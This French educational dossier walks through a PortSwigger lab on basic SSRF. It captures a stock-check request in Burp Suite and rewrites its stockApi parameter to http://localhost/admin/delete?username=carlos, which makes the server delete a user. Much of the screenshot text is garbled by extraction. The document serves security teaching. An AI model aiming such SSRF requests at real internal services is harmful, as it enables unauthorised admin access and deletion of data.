Dossier documentaire

Défi n°1 : Exploitation basique d'une vulnérabilité SSRF

Ouvrir le lien suivant :

https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost

APPRENTICE

This lab has a stock check feature which fetches data from an internal system.

To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos.



Cliquer sur le bouton ACCESS THE LAB

Travaux préparatoires :

Affichage de la quantité en stock d'un produit.

London	~	Check stock

133 units

Capture de la requête et envoi vers le répéteur.

Burp	Project	Intruder	Repeater	View	Help			
Dash	board	Target	Proxy	Intr	uder	Repeater	Collaborator	Sequencer
Inter	cept	HTTP history	y Web	Sockets	s history	1 🚯	P oxy settings	
F	orward		Drop	Inte	ercept is o	ff	Action	Open browser

Dashboard	Target	Proxy	Intruder	Repeater	Collaborator	Sequencer	Decoder	Comparer
Intercept	HTTP histor	ry Web	Sockets history	O P	roxy settings			
Request	to https://0a1	1f00da0330a0)a1987e68c400	a200a8.web-se	curity-academy.net:4	443 [79,125,84,16]	1	
			-		,,			
Forward		Drop	Intercept is	on	Action Op	oen browser		
Deather D								
Pretty R	aw nex							
POST /pro	duct/stock	K HTTP/2						
2 Host: 0a.	Lf 00da0330a	a0a1987e680	400a200a8. w	eb-security-	academy.net			
COOKIE: S	session=U/) Coske (2010010	1 Einsfey/115	0	
Accept: 2	K/X	a/5.0 (AII)	LINUX X00_	64, PV. 105. 0)) Geck0/2010010	I FIFeFOX/IIS.	0	
Accept.	, ,	alls en cel	5					
Accept-E	ngdage. er	rin deflat	te br					
Referer:	https://02	alf00da0330	a0a1987e68c	400a200a8. we	b-security-acad	emv.net/produc	t?productId	=1
Content-	vpe: appli	ication/x-	www-form-url	encoded				-
Content-L	ength: 107	7						
Origin: H	https://0al	Lf00da0330a	a0a1987e68c4	00a200a8. web	-security-acade	my.net		
Sec-Fetch	n-Dest: emp	oty						
Sec-Fetch	n-Mode: con	rs						
Sec-Fetch	n-Site: san	me-origin						
Te: trail	ers							
5								
7 stockApi=	http%3A%2F	%2Fstock.v	veliketoshop	. net%3A8080%	2Fproduct%2Fsto	ck%2Fcheck%3Fp	roductId%3D	1%26storeId%3

Avec le menu contextuel, on peut envoyer cette page vers le répéteur.

Dashboard Target Proxy Intruder R peater Collaborator Sequencer	Decoder Comparer Logger Organizer Extensions Learn
Send Cancel < > >	Target: https://0a1f00da0330a0a1987e68c400a2
Request Pretty Raw Hex Ref Ref Ref Ref Ref Ref Ref Image: State Sta	Response Pretty Raw Hex Render d
N26storeId4301 ⑦ ⑥ ← → Search	

La sélection de l'URL avec la souris affiche l'outil d'inspection.

Inspector		≘	*	0	\times
Selection		98 (0x	62)		^
Selected text					
http%3A%2F%2l et%3A8080%2Fj ck%3Fproduct	Fstock.we product%21 Id%3D1%26	liketo Fstock store]	shoj &2Fo [d%3]	p.n che Dl	
Decoded from:	URL encod	ing 🗸		⊕	
http://stock 0/product/sto &storeId=1	.weliketo: ock/check	shop.r ?produ	net:: uctIo	808 d=1	

L'affichage de la quantité en stock fait appel, via une URL, à une ressource située sur un serveur local qui écoute sur le port 8080.

Le contenu associé à l'URL décodé n'est pas accessible directement de l'extérieur ce qui est normal car on peut supposer que la politique de filtrage l'interdise. Cette ressource interne ne devrait être accessible que depuis le serveur web qui l'appelle.



Découverte de la vulnérabilité SSRF :

L'accès donne la réponse de code 200 du serveur ce qui correspond à un succès. Le serveur autorise la manipulation de cet URL. L'URL n'étant pas vérifié il peut donc être modifié ce qui constitue un vulnérabilité SSRF. Il faut utiliser l'outil d'inspection pour modifier l'URL.

Avec localhost/admin, cela donne :



Réalisation du défi :

L'URL complet est visible en fouillant dans le code obtenu:

http://localhost/admin/delete?username=carlos

<mark>carlos</mark>	
<a href="/ pelete</td><th>admin/delete?username=<mark>carlos</mark>">	

Envoi de l'ordre de suppression de l'utilisateur Carlos :



Suivre la redirection en cliquant Follow redirection. Une erreur 401 s'affiche mais l'utilisateur a bien été supprimé.

Send \bigcirc Cancel $< \mathbf{v} > \mathbf{v}$	Target: https://0a1f00da0330a0a1987e68c400a
Request Pretty Raw Hex &	Response Pretty Raw Hex Render 50 In E
<pre>1 DET /admin HTTP/2 Host: 0a167004a03309a1987e68c400a200a8.web-security-academy.net Cockie: sessionr07VHcln0g562jLH8kz6p7dBHymK09Vdb User-Agent: Nox110x50.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept-Language: en-US, en; er0.5 Accept-Language: en: en; en; en; en; en; en; en; en; en; en;</pre>	HTTP/2 401 Unauthorized Content-Type: text/html; charsetutf-8 X.Frame-Options: SAMEORIGIN Content-Length: SG66 6 7 dital> 4 dital>

On peut utiliser l'onglet Render afin de le constater.

Send () Cancel < Y	Target: https://0a1f00da0330a0a1987e68c400
Pretty Raw Hex Reguest 1 POST /product/stock HTTP/2 Host: Gost: session=07Wt_3n0562;[USkcGp7dbtysk09Vdb 4 User-Agent: Most: Notice: Sec.Part.Insugage: Sec.Part.Insugage: Sec.Part.Insugage: Sec.Part.Insugage: Sec.Part.Insugage: Sec.Part.Insugage: Sec.Part.Insugage: <th>Response Pretty Raw Hex Perfor Home Admin panel My account User deleted successfully! Users wiener - Delete</th>	Response Pretty Raw Hex Perfor Home Admin panel My account User deleted successfully! Users wiener - Delete

WebSecurity Academy 2 Back to lab description >>



http://www.reseaucerta.org – e000 Septembre 2024 – v1.0